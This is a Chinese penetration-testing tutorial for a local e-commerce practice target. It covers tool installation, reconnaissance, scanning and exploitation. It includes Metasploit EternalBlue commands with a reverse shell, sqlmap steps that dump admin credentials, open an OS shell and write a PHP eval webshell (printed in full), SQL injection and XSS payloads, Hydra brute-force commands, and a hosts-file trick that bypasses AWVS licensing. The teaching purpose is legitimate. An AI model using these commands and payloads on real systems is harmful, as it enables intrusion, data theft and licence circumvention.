电商系统Web渗透测试
一、什么是渗透测试?为什么要做?
1.1 一句话讲明白
渗透测试就是由专业的安全人员(俗称"白帽子"),模拟真实黑客的攻击手段,主动去发现系统的安全漏洞,然后提供修复建议的过程。
你可以把渗透测试想象成:你请一个专业锁匠来检查你家的门锁是不是安全的。锁匠会尝试各种方法打开你的锁,然后告诉你哪里有问题,怎么改进。
1.2 为什么要做渗透测试?
|
原因 |
解释 |
|---|---|
|
发现漏洞 |
通过模拟攻击,找出系统里可能被黑客利用的安全漏洞 |
|
验证防护 |
检查防火墙、入侵检测系统等安全措施是否真的有效 |
|
提高意识 |
帮助企业了解面临的安全威胁,提高员工安全意识 |
|
合规要求 |
很多行业标准(如等保2.0)和法规要求定期进行安全测试 |
1.3 渗透测试怎么做?
渗透测试通常分为以下几步:
信息收集 → 漏洞扫描 → 漏洞利用 → 后渗透 → 报告撰写
二、渗透测试环境准备
2.1 操作系统选择
推荐使用 Kali Linux,它是专门为渗透测试设计的 Linux 发行版,默认预装了数百个安全工具。
Kali Linux 安装
-
下载 Kali Linux 镜像文件(推荐 Kali Linux Installer)
-
使用 VMware/VirtualBox 虚拟机安装
-
默认用户名:
kali,密码:kali
其他可选系统
|
系统 |
说明 |
|---|---|
|
Parrot Security OS |
类似Kali,更轻量 |
|
BlackArch Linux |
基于Arch,工具最多 |
|
Ubuntu + 手动装工具 |
灵活但需要自己配置 |
2.2 Java 环境配置
许多渗透工具(如 BurpSuite、Nessus、AWVS)依赖 Java 环境。
# 检查是否已安装
java -version
# 如果未安装,执行以下命令安装 OpenJDK
sudo apt update
sudo apt install default-jdk -y
# 验证安装
java -version
# 输出类似:openjdk version "17.0.x"
2.3 Python 环境配置
许多扫描工具基于 Python 开发。
# Kali Linux 默认已安装 Python3
python3 --version
# 升级 pip
sudo pip3 install --upgrade pip setuptools wheel
# 配置国内镜像源(加速下载)
# 创建配置文件
mkdir -p ~/.pip
cat > ~/.pip/pip.conf << 'EOF'
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/
trusted-host = mirrors.aliyun.com
EOF
# 验证配置
pip3 config list
2.4 常用依赖库安装
# 安装编译工具和常用依赖
sudo apt update
sudo apt install -y build-essential git curl wget unzip zip
# 安装 Python 常用库
pip3 install requests beautifulsoup4 lxml
# 安装 Ruby 依赖(部分工具需要)
sudo apt install -y ruby ruby-dev
sudo gem install bundler
三、工具安装配置完整指南
3.1 信息收集工具
3.1.1 Nmap - 端口扫描神器
工具介绍:Nmap 是最强大的网络扫描工具,用于端口扫描、操作系统检测、服务版本识别。
Kali Linux 预装:默认已安装,直接使用。
# 检查是否已安装
nmap --version
# 如果未安装
sudo apt update
sudo apt install nmap -y
# 基本使用
nmap 192.168.1.1
nmap -O -sV 192.168.1.1 # 操作系统检测+版本扫描
nmap -p- 192.168.1.1 # 全端口扫描(65535个端口)
3.1.2 Dirsearch - 目录扫描工具
工具介绍:Python 开发的高级目录扫描工具,支持多线程、多字典。
安装步骤:
# 方式一:git clone 安装
cd /opt
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
# 安装依赖
pip3 install -r requirements.txt
# 方式二:pip 直接安装
pip3 install dirsearch
# 验证安装
dirsearch --help
python3 /opt/dirsearch/dirsearch.py --help
使用示例:
# 基本扫描
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com
# 指定扩展名
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -e php,txt,zip,bak
# 使用字典文件
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -w /path/to/wordlist.txt
# 保存结果
python3 /opt/dirsearch/dirsearch.py -u http://www.example1.com -o result.txt
3.1.3 Dirmap - 目录扫描(显示响应大小)
工具介绍:与 dirsearch 不同,dirmap 会显示每个 URL 的响应大小,便于区分真实页面和虚假页面。
安装步骤:
# 克隆项目
cd /opt
git clone https://github.com/H4ckForJob/dirmap.git
cd dirmap
# 安装依赖(注意:dirmap的requirements.txt无s)
pip3 install -r requirement.txt
# 如果requirements.txt不存在,手动安装
pip3 install requests beautifulsoup4 lxml
# 验证安装
python3 dirmap.py -h
使用示例:
# 扫描指定URL
python3 dirmap.py -i http://www.example1.com/ -lcf
# 参数说明:
# -i: 目标URL
# -l: 列出所有结果
# -c: 显示响应内容
# -f: 过滤小文件
3.1.4 Dirb - 经典目录扫描器
工具介绍:Kali Linux 预装的经典目录扫描工具,简单易用。
安装步骤:
# Kali Linux 默认已安装
dirb --version
# 如果未安装
sudo apt install dirb -y
使用示例:
# 使用默认字典扫描
dirb http://www.example1.com
# 使用自定义字典
dirb http://www.example1.com /path/to/wordlist.txt
# 保存结果
dirb http://www.example1.com -o result.txt
3.1.5 WhatWeb - 指纹识别工具
工具介绍:识别网站使用的 CMS、框架、技术栈等。
安装步骤:
# Kali Linux 默认已安装
whatweb --version
# 如果未安装
sudo apt install whatweb -y
# 或使用 Ruby gem 安装
sudo gem install whatweb
使用示例:
# 识别单个网站
whatweb http://www.example1.com
# 识别多个网站
whatweb http://www.example1.com http://www.example2.com
# 详细输出
whatweb -v http://www.example1.com
# 保存结果
whatweb http://www.example1.com -o result.txt
3.1.6 7kbscan(铸剑)- 图形化目录扫描
工具介绍:国产图形化目录扫描工具,界面友好,适合新手。
安装步骤:
# 方式一:GitHub下载
cd /opt
git clone https://github.com/7kbstorm/7kbscan.git
cd 7kbscan
# 安装依赖
pip3 install requests
# 运行(需要图形界面)
python3 7kbscan.py
# 方式二:下载exe(Windows系统)
# 访问 https://github.com/7kbstorm/7kbscan/releases
# 下载 7kbscan_*.exe 直接运行
3.1.7 cmseek - CMS识别工具
工具介绍:自动识别网站使用的 CMS 系统及其版本。
安装步骤:
# 克隆项目
cd /opt
git clone https://github.com/TideSec/CMSeeK.git
cd CMSeeK
# 安装依赖
pip3 install requests beautifulsoup4 lxml
# 运行
python3 cmseek.py -u http://www.example1.com
3.2 漏洞扫描工具
3.2.1 Goby - 国产资产测绘神器
工具介绍:基于网络空间测绘技术的快速漏洞扫描工具,国产精品。
安装步骤:
# 访问官网下载
# https://gobies.org/
# Linux版本
cd /opt
wget https://github.com/zema1/goby/releases/download/v1.8.27/goby_linux_amd64.zip
unzip goby_linux_amd64.zip
chmod +x goby
sudo mv goby /usr/local/bin/
# Windows版本
# 下载 goby_windows_amd64.zip 解压即可使用
# 验证安装
goby version
使用示例:
# 启动Goby
goby
# 或指定目标IP扫描
goby -t 192.168.1.1/24
# 导出结果
goby -t 192.168.1.1 -o result.json
3.2.2 Nessus - 世界最流行漏洞扫描器
工具介绍:功能最全面的漏洞扫描平台,全球超过75000个组织在用。
安装步骤:
# 方式一:下载安装包
# 访问 https://www.tenable.com/products/nessus/nessus-essentials
# 注册免费账号(Nessus Essentials)
# 下载 Linux 版本
cd /opt
# 从官网获取最新下载链接
wget https://www.tenable.com/downloads/api/v1/public/pages/nessus-essentials/downloads/14587/download
chmod +x Nessus*
sudo dpkg -i Nessus-* # Debian/Ubuntu
# 或
sudo rpm -ivh Nessus-* # CentOS/RHEL
# 启动服务
sudo systemctl start nessusd
sudo systemctl enable nessusd
# 查看状态
sudo systemctl status nessusd
# 访问控制台
# 浏览器打开:https://localhost:8834
# 首次访问需要设置管理员密码
首次使用:
-
浏览器访问
https://localhost:8834 -
设置管理员用户名和密码
-
输入 Activation Code(从注册邮箱获取)
-
等待插件下载完成(首次启动较慢)
-
创建扫描任务
3.2.3 AWVS - 专业Web漏洞扫描器
工具介绍:Acunetix Web Vulnerability Scanner,最知名的Web漏洞扫描工具。
安装步骤:
# 方式一:官网下载
# 访问 https://www.acunetix.com/download/
# 下载 Linux 版本
# 安装
chmod +x awvs*
sudo ./awvs
# 方式二:Docker 安装(推荐)
docker pull securesoftware/awvs
docker run -d -p 3443:3443 --name awvs securesoftware/awvs
# 访问控制台
# 浏览器打开:https://localhost:3443
hosts 破解(测试版):
# 编辑hosts文件
sudo nano /etc/hosts
# 添加以下内容
127.0.0.1 erp.acunetix.com
127.0.0.1 erp.acunetix.com.
::1 erp.acunetix.com
::1 erp.acunetix.com.
192.168.49.174 telemetry.invicti.com
192.168.49.174 telemetry.invicti.com.
3.2.4 Xray - 长亭科技被动扫描器
工具介绍:长亭科技开发的社区版漏洞扫描工具,被动模式可在人工测试时辅助扫描。
安装步骤:
# 访问官网下载
# https://docs.xray.cool/#/tutorial/webscan_proxy
# Linux版本
cd /opt
wget https://github.com/chaitin/xray/releases/download/1.8.5/xray_linux_amd64.zip
unzip xray_linux_amd64.zip
chmod +x xray
sudo mv xray /usr/local/bin/
# Windows版本
# 下载 xray_windows_amd64.zip 解压即可
# 验证安装
xray version
使用配置:
# 生成CA证书(HTTPS扫描必需)
xray genca
# 证书路径:~/.xray/ca.crt
# 浏览器导入此CA证书
# 启动被动扫描模式
xray webscan --listen 127.0.0.1:7777 --html-output=report.html
# 参数说明:
# --listen: 监听地址和端口
# --html-output: 报告输出路径
3.3 漏洞利用工具
3.3.1 Metasploit Framework (MSF)
工具介绍:最强大的渗透测试框架,集成2000+漏洞利用模块。
Kali Linux 预装:默认已安装。
# 检查是否已安装
msfconsole --version
# 如果未安装
sudo apt update
sudo apt install metasploit-framework -y
# 更新到最新版本
msfupdate
# 或
sudo apt upgrade metasploit-framework
基本使用流程:
# 启动MSF控制台
msfconsole
# 搜索漏洞模块
search ms17-010
# 加载模块
use exploit/windows/smb/ms17_010_eternalblue
# 查看配置参数
show options
# 设置目标参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 执行攻击
run
# 或
exploit
3.3.2 SearchSploit - 漏洞库搜索工具
工具介绍:Exploit-DB 官方命令行搜索工具,可搜索数千个公开漏洞利用代码。
Kali Linux 预装:默认已安装。
# 检查是否已安装
searchsploit --version
# 如果未安装
sudo apt install exploitdb -y
# 更新漏洞库(首次使用或长时间未更新)
searchsploit -u
# 搜索特定漏洞
searchsploit ms17-010
searchsploit apache
searchsploit php 7.0
# 查看漏洞详情
searchsploit -x 42031
# 复制漏洞利用代码到当前目录
searchsploit -m 42031
Exploit-DB 目录说明:
|
目录 |
内容 |
|---|---|
|
dos/ |
拒绝服务攻击代码 |
|
local/ |
本地漏洞利用代码(需已有权限) |
|
remote/ |
远程漏洞利用代码 |
|
webapps/ |
Web应用漏洞利用代码 |
3.3.3 SqlMap - SQL注入自动化工具
工具介绍:自动化 SQL 注入工具,支持多种数据库和注入类型。
Kali Linux 预装:默认已安装。
# 检查是否已安装
sqlmap --version
# 如果未安装
sudo apt install sqlmap -y
# 或使用 pip 安装最新版
pip3 install sqlmap --upgrade
常用命令:
# 基本扫描
sqlmap -u "http://www.example1.com/index.php?id=1"
# 指定注入参数
sqlmap -u "http://www.example1.com/index.php?id=1" -p id
# 获取数据库列表
sqlmap -u "http://www.example1.com/index.php?id=1" --dbs
# 获取当前数据库
sqlmap -u "http://www.example1.com/index.php?id=1" --current-db
# 获取指定数据库的表
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname --tables
# 获取表的字段
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname -T tablename --columns
# 导出数据
sqlmap -u "http://www.example1.com/index.php?id=1" -D dbname -T tablename --dump
# 获取Shell
sqlmap -u "http://www.example1.com/index.php?id=1" --os-shell
# 指定POST数据
sqlmap -u "http://www.example1.com/search" --data="word=test"
3.3.4 BurpSuite - 抓包改包神器
工具介绍:最流行的 Web 渗透测试图形化工具,支持抓包、改包、爆破等。
安装步骤:
# 方式一:官网下载
# 访问 https://portswigger.net/burp/releases
# 下载 Burp Suite Community Edition(免费社区版)
# Linux 安装
cd /opt
# 下载 burpsuite_community_linux_v*.sh
chmod +x burpsuite_community_linux_v*.sh
sudo ./burpsuite_community_linux_v*.sh
# 启动
burpsuite
# 或
java -jar burpsuite.jar
# 方式二:直接下载 jar
# 从官网下载 burpsuite-community-v*.jar
java -jar burpsuite-community-v*.jar
核心模块:
|
模块 |
功能 |
|---|---|
|
Proxy |
拦截和修改HTTP请求 |
|
Repeater |
重发请求,手动测试 |
|
Intruder |
暴力破解、模糊测试 |
|
Decoder |
编码/解码工具 |
|
Comparer |
比较两个响应的差异 |
|
Extender |
插件扩展 |
3.3.5 Hydra - 密码爆破工具
工具介绍:支持多种协议的网络登录破解工具。
Kali Linux 预装:默认已安装。
# 检查是否已安装
hydra -v
# 如果未安装
sudo apt install hydra -y
# 使用示例
# SSH 爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ssh
# FTP 爆破
hydra -l admin -P /path/to/passlist.txt 192.168.1.1 ftp
# MySQL 爆破
hydra -l root -P /path/to/passlist.txt 192.168.1.1 mysql
# 参数说明:
# -l: 指定用户名
# -L: 指定用户名字典
# -p: 指定密码
# -P: 指定密码字典
# -t: 指定并发数
3.4 后渗透工具
3.4.1 蚁剑 (AntSword) - WebShell管理工具
工具介绍:新一代 WebShell 管理工具,支持 PHP、ASPX、JSP 等多种后门。
安装步骤:
# 方式一:官网下载
# 访问 https://www.antsword.net/
# 下载最新版本
# 方式二:GitHub下载
cd /opt
git clone https://github.com/AntSwordProject/AntSword-Lite.git
cd AntSword-Lite
# 解压运行(Windows)
# 双击 AntSword.exe
# Linux 运行
unzip AntSword-Linux.zip
chmod +x AntSword
./AntSword
常用插件:
-
as_bypass_php_disable_functions- 绕过PHP禁用函数 -
as_phpinfo- 查看PHP配置 -
as_cmd- 执行系统命令 -
as_filemanager- 文件管理
绕过disable_functions插件安装:
# 下载插件
cd /opt
git clone https://github.com/l3m0n/Bypass_Disable_functions_Shell.git
# 解压到蚁剑插件目录
# Windows: AntSword/plugins/
# 或在蚁剑中:设置 → 插件设置 → 加载本地插件
# 重启蚁剑后使用
3.4.2 Weevely - PHP Webshell生成工具
工具介绍:生成加密的 PHP WebShell,用于远程控制。
安装步骤:
# Kali Linux 默认已安装
weevely --help
# 如果未安装
sudo apt install weevely -y
# 使用示例
# 生成密码保护的WebShell
weevely generate password /path/to/shell.php
# 参数说明:
# generate: 生成模式
# password: 连接密码
# /path/to/shell.php: 输出路径
3.5 CMS/框架专用扫描工具
3.5.1 ThinkPHPGUI - ThinkPHP漏洞扫描
工具介绍:专门针对 ThinkPHP 框架的漏洞扫描工具。
安装步骤:
# 克隆项目
cd /opt
git clone https://github.com/bewhale/thinkphp_gui_tools.git
cd thinkphp_gui_tools
# 安装依赖
pip3 install gevent requests beautifulsoup4
# 运行
python3 thinkphp_gui.py
3.5.2 TPscan - ThinkPHP扫描器
工具介绍:快速扫描 ThinkPHP 5.x 版本的常见漏洞。
安装步骤:
# 克隆项目
cd /opt
git clone https://github.com/lyz0n/TPscan.git
cd TPscan
# 安装依赖
pip3 install requests
# 运行
python3 tpscan.py -u http://www.example1.com
3.5.3 WPScan - WordPress扫描器
工具介绍:针对 WordPress 的专用漏洞扫描工具。
安装步骤:
# 安装 Ruby(如果未安装)
sudo apt install ruby ruby-dev -y
# 安装 WPScan
sudo gem install wpscan
# 如果 gem install 速度慢,使用国内镜像
sudo gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/
sudo gem install wpscan
# 更新漏洞数据库
wpscan --update
# 使用
wpscan --url http://www.wordpress-site.com
3.6 密码字典资源
常用字典路径
# Kali Linux 自带字典
/usr/share/wordlists/rockyou.txt # 最常用的密码字典
/usr/share/wordlists/dirb/ # Dirb字典
/usr/share/dict/ # 系统字典
# 其他字典资源
# https://github.com/brannondorsey/naive-hashcat/releases
# https://github.com/danielmiessler/SecLists
SecLists 字典合集
# 克隆 SecLists(最大的安全字典合集)
cd /opt
git clone https://github.com/danielmiessler/SecLists.git
# 内容包括:
# passwords/ 密码字典
# usernames/ 用户名字典
# urls/ URL字典
# payloads/ Payload合集
四、靶场环境搭建
知识要学以致用,光看书没用!我们需要搭建一个靶场环境来实战练习。
4.1 靶机准备
安装靶机
-
下载靶机的
.ovf文件(虚拟机镜像) -
用 VMware Workstation 打开导入
-
修改虚拟机名称和存储路径
-
启动虚拟机,输入密码
123
注意事项
-
检查小键盘是否开启(有些电脑开了虚拟机会自动关闭数字小键盘)
-
进入虚拟机后检查网络是否开启(右上角
Enable Networking)
4.2 部署Web应用
宝塔面板配置
-
在虚拟机中打开浏览器,访问:
http://127.0.0.1:23978/a4c6d8bb -
输入默认账号密码登录面板
-
绑定宝塔账号(可选)
常见问题处理
|
问题 |
解决方案 |
|---|---|
|
面板无法访问 |
重启宝塔服务:终端输入 |
|
面板无法打开 |
清除浏览器缓存:设置 → 搜索 cache → Clear Data |
启动Web应用
进入宝塔面板的网站管理,确保网站状态为"运行中"。
4.3 访问Web应用
配置Hosts解析
因为是本地靶场,需要手动配置域名解析:
Windows系统:
打开 C:\Windows\System32\drivers\etc\hosts
添加:192.168.x.x www.example1.com
Linux系统:
sudo vim /etc/hosts
# 添加
192.168.x.x www.example1.com
配置完成后访问 http://www.example1.com/ 即可。
五、信息收集(侦察敌情)
渗透测试就像打仗,战前侦察敌情越充分,赢的几率就越大!
5.1 IP地址收集
方法一:直接ping
ping www.example1.com
方法二:通过DNS解析
nslookup www.example1.com
# 或
dig www.example1.com
通过TTL判断操作系统
|
TTL值 |
操作系统 |
|---|---|
|
128 |
Windows |
|
64 |
Linux |
|
255 |
Cisco等网络设备 |
5.2 端口扫描
使用Nmap扫描
# 基本扫描
nmap 192.168.x.x
# 详细扫描(操作系统+版本)
sudo nmap -O -sV 192.168.x.x
# 全端口扫描
sudo nmap -p- 192.168.x.x
常见端口对应的服务
|
端口 |
服务 |
渗透测试意义 |
|---|---|---|
|
21 |
FTP |
尝试弱口令、历史漏洞 |
|
22 |
SSH |
尝试弱口令 |
|
80 |
HTTP |
Web应用入口 |
|
443 |
HTTPS |
Web应用入口(加密) |
|
3306 |
MySQL |
尝试弱口令、未授权访问 |
|
888 |
PhpMyAdmin |
尝试弱口令、历史漏洞 |
|
6379 |
Redis |
尝试未授权访问 |
5.3 目录扫描
手动探测
在浏览器直接访问常见敏感路径:
-
/admin- 后台管理 -
/login- 登录页 -
/web.config- 配置文件 -
/robots.txt- 爬虫规则 -
.git- Git源码泄露 -
/backup- 备份文件
工具扫描
dirmap 使用示例
# 扫描目标URL
cd /opt/dirmap
python3 dirmap.py -i http://www.example1.com/ -lcf
dirsearch 使用示例
cd /opt/dirsearch
python3 dirsearch.py -u http://www.example1.com -e php,txt,zip,bak
识别真实页面 vs 虚假页面
有些网站会对所有不存在的路径都返回同一个页面(通常是首页),这时候通过响应大小来区分:
-
相同大小的页面 = 虚假页面
-
不同大小的页面 = 真实页面
5.4 指纹识别
通过网站底部信息、错误页面、响应头等判断:
-
使用的CMS/框架(如 iWebShop、ThinkPHP)
-
开发语言(如 PHP、Java、Python)
-
中间件(如 Nginx、Apache、IIS)
使用 WhatWeb 识别
whatweb http://www.example1.com
使用 cmseek 识别
cd /opt/CMSeeK
python3 cmseek.py -u http://www.example1.com
5.5 信息整理
收集完成后,把所有信息整理成表格:
|
信息类型 |
具体内容 |
|---|---|
|
域名 |
|
|
IP |
192.168.x.x |
|
操作系统 |
Linux(内核4.15) |
|
开放端口 |
21/80/888 |
|
开发语言 |
PHP |
|
CMS |
iWebShop |
|
后台地址 |
六、系统漏洞扫描
Web应用都是跑在操作系统上的,如果操作系统本身有漏洞,黑客可以直接拿下整台服务器!
6.1 Goby 扫描(国产神器)
Goby 是一个速度极快的资产测绘+漏洞扫描工具。
使用步骤
-
打开 Goby
-
添加目标IP
-
选择扫描模式
-
点击扫描
-
查看扫描结果
漏洞命名规则
|
前缀 |
含义 |
|---|---|
|
MS |
微软内部漏洞编号(如 MS17-010) |
|
CVE |
国际标准漏洞编号 |
|
CVSS |
漏洞评分(0-10分,越高越严重) |
6.2 Nessus 扫描(世界最流行)
使用步骤
-
浏览器访问
https://localhost:8834 -
新建扫描任务(New Scan)
-
选择"高级扫描"模式
-
配置目标IP范围
-
开始扫描
-
查看报告
6.3 漏洞验证
扫描到漏洞后,必须人工验证!工具可能误报!
使用 Metasploit 验证
# 启动MSF
msfconsole
# 搜索漏洞模块
search ms17-010
# 加载模块
use exploit/windows/smb/ms17_010_eternalblue
# 查看配置
show options
# 设置目标IP
set rhosts 192.168.x.x
# 设置载荷
set payload windows/x64/meterpreter/reverse_tcp
# 执行攻击
run
使用 SearchSploit 验证
# 更新漏洞库
searchsploit -u
# 搜索漏洞
searchsploit ms17-010
# 复制利用代码
searchsploit -m 42031
# 执行POC
python 42031.py 192.168.x.x shellcode.bin
在线漏洞资源
国内平台:
-
CNNVD(国家信息安全漏洞库):www.cnnvd.org.cn
-
CNVD(国家信息安全漏洞共享平台):www.cnvd.org.cn
-
Seebug(知道创宇漏洞平台):www.seebug.org
国外平台:
-
Exploit-DB:www.exploit-db.com
-
1337day:cn.0day.today
七、Web应用漏洞扫描
7.1 CMS/框架历史漏洞
常见CMS漏洞扫描工具
|
工具 |
说明 |
安装命令 |
|---|---|---|
|
CMSScan |
通用CMS漏洞扫描 |
见3.1.7 |
|
WPScan |
WordPress专用扫描 |
见3.5.3 |
|
ThinkPHPGUI |
ThinkPHP专用扫描 |
见3.5.1 |
|
TPscan |
ThinkPHP专用扫描 |
见3.5.2 |
ThinkPHP 漏洞实验
# 启动TPscan
cd /opt/TPscan
python3 tpscan.py -u http://www.example1.com
# 或启动ThinkPHPGUI
cd /opt/thinkphp_gui_tools
python3 thinkphp_gui.py
7.2 AWVS 扫描(专业Web漏扫)
扫描前配置
1. 扫描速度配置
-
当目标站点开启WAF时,降低扫描速度避免被封IP
2. 登录配置
-
配置账号密码登录
-
或录制登录序列
3. 请求配置
-
配置代理(绕过WAF)
-
修改请求头
扫描结果验证
扫描工具可能有漏报或误报,必须人工验证!
八、经典漏洞实战
8.1 DOM型XSS漏洞(低危)
什么是DOM型XSS?
就是恶意脚本存在于URL参数中,被浏览器直接执行,不经过服务器。
验证步骤
-
访问扫描器给出的测试URL
-
在页面按 F12 打开开发者工具
-
搜索关键字定位注入点
-
构造测试payload
-
确认漏洞存在
实际测试示例
# 原始URL(有XSS注入点)
http://www.example1.com/simple/cart2?wvstest=javascript:domxssExecutionSink(1,"'"><xsstag>()locxss")
# 构造payload窃取cookie
http://www.example1.com/simple/cart2?wvstest=javascript:alert(document.cookie)
危害等级说明
DOM型XSS属于低危漏洞,因为:
-
需要受害者访问攻击者构造的链接
-
还需要点击特定按钮(如提交订单)
-
攻击局限性大
8.2 SQL注入漏洞(高危)
什么是SQL注入?
就是攻击者在URL参数中注入恶意SQL语句,让服务器执行非预期的数据库操作。
时间盲注验证
# 在URL中注入sleep函数
http://www.example1.com/index.php?action=search_list&controller=site&word=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z)XOR'Z)
# 如果页面延迟4秒加载,说明存在SQL注入
使用SqlMap数据爆破
1. 获取数据库名
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --current-db --batch
2. 获取数据库表
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com --tables --batch
3. 获取表字段
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin --columns --batch
4. 获取字段数据
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word -D www_example1_com -T iwebshop_admin -C admin_name,password --dump --batch
SqlMap 获取WebShell
获取Shell的前提条件:
-
MySQL的
secure_file_priv为空 -
数据库账号有文件读写权限
-
网站使用的数据库账号有网站目录读写权限
-
知道网站目录路径
# 尝试获取交互式Shell
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --os-shell
# 上传一句话木马
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" --file-write ~/Downloads/shell.php --file-dest /www/wwwroot/www.example1.com/shell.php
一句话木马示例
<?php
@eval($_POST['ant']);
?>
绕过 disable_functions
什么是disable_functions? PHP配置中禁止使用的危险函数列表(如 system、exec、shell_exec 等)。
绕过方法:
-
使用蚁剑的绕过插件(见3.4.1)
-
利用其他未禁用的函数执行命令
-
使用
pcntl_exec、popen等替代函数
8.3 反射型XSS(中危)
什么是反射型XSS?
恶意脚本通过URL直接反射到页面,比DOM型更容易触发。
验证示例
# 直接在URL参数中注入脚本
http://www.example1.com/index.php?action=search_list&controller=site&word=1<script>alert(9709)</script>
# 如果页面弹窗显示"9709",说明反射型XSS存在
九、人工探查(逻辑漏洞)
随着安全意识提高,传统漏扫工具能扫出来的漏洞越来越少了。现在更常见的是逻辑漏洞,这些只能靠人工测试!
9.1 Xray 被动扫描辅助
配置方法
第一步:启动Xray监听
cd /opt
./xray webscan --listen 127.0.0.1:7777 --html-output=report.html
第二步:安装证书
# 生成CA证书
./xray genca
# 证书路径:~/.xray/ca.crt
# 浏览器导入此CA证书
第三步:配置浏览器代理
-
代理地址:
127.0.0.1 -
代理端口:
7777
第四步:开始浏览网站 在浏览器上的任何请求都会经过Xray自动测试,停止时生成报告。
9.2 多工具联动
可以把多个工具串联起来,实现自动化扫描:
方式一:浏览器 → Xray → AWVS
方式二:浏览器 → BurpSuite → Xray
方式三:浏览器 → Xray → BurpSuite
BurpSuite 与 Xray 联动
-
浏览器配置 BurpSuite 代理(端口8080)
-
BurpSuite 配置 Xray 代理转发(端口7777)
-
请求流向:浏览器 → BurpSuite → Xray
9.3 电商特有功能测试思路
人工探查的核心思路:按照功能点逐一测试!
|
功能点 |
测试内容 |
|---|---|
|
用户注册/登录 |
SQL注入、弱口令、验证码绕过、短信轰炸 |
|
商品搜索 |
SQL注入、XSS |
|
商品详情 |
参数篡改、越权访问 |
|
购物车 |
数量篡改、价格修改 |
|
订单支付 |
支付逻辑漏洞、金额篡改、订单状态修改 |
|
用户中心 |
越权访问、敏感信息泄露 |
|
后台管理 |
弱口令、验证码绕过、越权访问 |
|
文件上传 |
上传木马、类型绕过 |
|
第三方接口 |
未授权访问、接口滥用 |
9.4 支付逻辑漏洞实战
测试步骤
-
选择商品加入购物车
-
进入支付页面
-
使用 BurpSuite 抓包
-
修改价格参数(如
total_free改为0) -
观察响应结果
签名验证绕过
很多系统会用MD5对参数签名,防止篡改。
# 在线MD5计算:https://cmd5.com/hash.aspx
# 示例:对 attach + order_no 进行签名
9.5 后台弱口令与验证码绕过
测试步骤
-
访问后台登录页面
-
输入任意用户名,观察提示
-
输入用户名 admin,观察提示变化
-
猜测逻辑验证顺序:
验证码是否正确 → 用户名是否存在 → 用户名与密码是否匹配 -
尝试验证码重复利用
-
使用 BurpSuite 爆破密码(结合验证码识别插件)
十、渗透测试完整流程总结
┌─────────────────────────────────────────────────────────┐
│ 电商系统Web渗透测试完整流程 │
├─────────────────────────────────────────────────────────┤
│ 1. 环境准备 │
│ ├── Kali Linux 安装配置 │
│ ├── Java/Python 环境配置 │
│ ├── 靶场环境搭建 │
│ └── Hosts解析配置 │
│ │
│ 2. 工具安装 │
│ ├── 信息收集工具(nmap, dirsearch, dirmap等) │
│ ├── 漏洞扫描工具(Goby, Nessus, AWVS, Xray) │
│ ├── 漏洞利用工具(MSF, sqlmap, BurpSuite) │
│ └── 后渗透工具(蚁剑, Weevely) │
│ │
│ 3. 信息收集 │
│ ├── IP地址收集(ping/nslookup) │
│ ├── 端口扫描(nmap) │
│ ├── 目录扫描(dirsearch/dirmap) │
│ ├── 指纹识别(WhatWeb/cmseek) │
│ └── 信息整理归档 │
│ │
│ 4. 系统漏洞扫描 │
│ ├── Goby 快速扫描 │
│ ├── Nessus 详细扫描 │
│ └── 漏洞验证(MSF/searchsploit) │
│ │
│ 5. Web应用漏洞扫描 │
│ ├── CMS/框架历史漏洞 │
│ ├── AWVS 自动扫描 │
│ └── 扫描结果人工验证 │
│ │
│ 6. 人工功能测试 │
│ ├── Xray 被动扫描辅助 │
│ ├── 多工具联动 │
│ ├── 支付逻辑测试 │
│ ├── 后台弱口令测试 │
│ └── 其他功能点测试 │
│ │
│ 7. 漏洞利用 │
│ ├── SQL注入 → SqlMap爆破数据 │
│ ├── XSS → 验证危害等级 │
│ └── 获取WebShell → 后渗透 │
│ │
│ 8. 报告撰写 │
│ ├── 漏洞描述 │
│ ├── 复现步骤 │
│ ├── 风险等级 │
│ └── 修复建议 │
└─────────────────────────────────────────────────────────┘
十一、常用工具速查清单
11.1 工具安装命令汇总
|
工具 |
安装命令 |
|---|---|
|
nmap |
|
|
dirsearch |
|
|
dirmap |
|
|
dirb |
|
|
WhatWeb |
|
|
7kbscan |
|
|
cmseek |
|
|
Goby |
官网下载 Goby— 资产绘测及实战化漏洞扫描工具 |
|
Nessus |
官网下载 Vulnerability and exposure management | Cloud and AI security | Tenable® |
|
AWVS |
|
|
Xray |
|
|
Metasploit |
|
|
SearchSploit |
|
|
SqlMap |
|
|
BurpSuite |
官网下载 Burp - Web Application Security, Testing, & Scanning - PortSwigger |
|
Hydra |
|
|
蚁剑 |
|
|
Weevely |
|
|
ThinkPHPGUI |
|
|
TPscan |
|
|
WPScan |
|
11.2 工具分类索引
|
分类 |
工具 |
|---|---|
|
信息收集 |
nmap, dirsearch, dirmap, dirb, WhatWeb, 7kbscan, cmseek |
|
系统漏扫 |
Goby, Nessus |
|
Web漏扫 |
AWVS, Xray |
|
漏洞利用 |
Metasploit, SearchSploit, SqlMap |
|
抓包爆破 |
BurpSuite, Hydra |
|
后渗透 |
蚁剑, Weevely |
|
CMS扫描 |
ThinkPHPGUI, TPscan, WPScan |
十二、常见漏洞类型与危害等级
|
漏洞类型 |
危害等级 |
说明 |
|---|---|---|
|
SQL注入 |
🔴 高危 |
可导致数据泄露、数据篡改、获取Shell |
|
存储型XSS |
🔴 高危 |
恶意脚本永久存在,所有访问者都会触发 |
|
反射型XSS |
🟠 中危 |
需要诱导用户点击特定链接 |
|
DOM型XSS |
🟡 低危 |
